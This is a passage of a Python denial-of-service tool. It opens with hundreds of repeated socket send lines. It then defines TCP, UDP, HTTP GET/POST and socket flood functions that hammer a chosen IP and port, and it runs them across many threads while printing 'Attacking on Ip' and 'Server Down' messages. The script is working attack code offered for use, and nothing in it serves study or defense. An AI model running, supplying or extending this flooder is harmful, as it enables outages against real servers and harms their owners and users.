               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
        except socket.error:
            s.close()
def run2():
	data = random._urandom(100048)
	i = random.choice(("[*]","[!]","[#]"))
	while True:
		try:
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
			s.connect((ip,port))
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			s.send(data)
			for x in range(times):
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
				s.send(data)
		except:
			s.close()
def tcp():
	data = random._urandom(650000)
	i = random.choice(("[Request]","[Bots]","[Strart]","[Timed]","[Out]","[Force]"))
	d =random.choice(("[Down]","[Downs]"))
	while True:
		try:
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect((ip,port))
			s.send(data)
			for x in range(times):
				s.send(data)
			print(i +f"     \u001b[34m1PING ¦¦ >> \u001b[31mAttacking on Ip \u001b[32m{ip} \u001b[31mAnd Port \u001b[32m{port} \u001b[34m<<")
		except:
			s.close()
			print(d +f" \u001b[31mServer Down?????!")


# UDP
def udp():
	data = random._urandom(35000)
	i = random.choice(("[Request]","[Bots]","[Strart]","[Timed]","[Out]","[Force]"))
	while True:
		try:
			s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
			addr = (str(ip),int(port))
			for x in range(times):
				s.sendto(data,addr)
			print(i +f" \u001b[37mAttacking on Ip \u001b[31m{ip} \u001b[37mAnd Port \u001b[31m{port} \u001b[37m")
		except:
			print(i +f"     \u001b[34mXZack ¦¦ >> \u001b[31mServer Down?????!. \u001b[34m<<")
def get_attack():
    global fin_threads
    while True:
        try:
            get_packet = f"GET / HTTP/1.1\r\nHost: {ip}\r\nUser-Agent: {random.choice(useragents)}\r\nReferer: {random.choice(referers)}\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 115\r\nConnection: keep-alive\r\n\r\n".encode('ascii')
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((ip, port))
            s.sendto(get_packet, (ip, port))
            s.shutdown(1)
        except (socket.error, BrokenPipeError, Exception, BaseException) as err:
                print("[" + yl + "!" + wi + "] " + yl + "GET-ATTACK:" + wi + " Unable To Connect to Target [" + rd + ip + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r')
    fin_threads += 1
def post_attack():
    global fin_threads
    while True:
        try:
            post_packet = f'POST / HTTP/1.1\r\nHost: {ip}\r\nUser-Agent: {random.choice(useragents)}\r\nConnection: keep-alive\r\nKeep-Alive: 900\r\nContent-Length: 10000\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n'.encode("ascii")
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((ip, port))
            s.send(post_packet)
            s.send(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890").encode('ascii'))
            s.close()
        except (socket.error, BrokenPipeError, Exception, BaseException) as err:
                print("[" + yl + "!" + wi + "] " + yl + "POST-ATTACK:" + wi + " Unable To Connect to Target [" + rd + ip + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r')
    fin_threads += 1
def sock_flood():
    global fin_threads
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((ip, port))
            for y in range(80):
                s.send(random._urandom(600000))
        except (socket.error, BrokenPipeError, Exception) as err:
                print("[" + yl + "!" + wi + "] " + yl + f"TCP-ATTACK:" + wi + " gk bisa konek ke [" + rd + ip + wi + "]" + yl + " munkin " + rd + "Down\n" + wi, end='\r')
    fin_threads += 1
for y in range(threads):
	if choice == 'http':
	    th = threading.Thread(target = http)
	    th.start()
	    th = threading.Thread(target = run2)
	    th.start()
	    th = threading.Thread(target = http2)
	    th.start()
	    th = threading.Thread(target = sock_flood)
	    th.start()
	    th = threading.Thread(target = get_attack)
	    th.start()
	    th = threading.Thread(target = post_attack)
	    th.start()
	elif choice == 'tcp':
		th = threading.Thread(target = tcp)
		th.start()
	else:
		th = threading.Thread(target = udp)
		th.start()
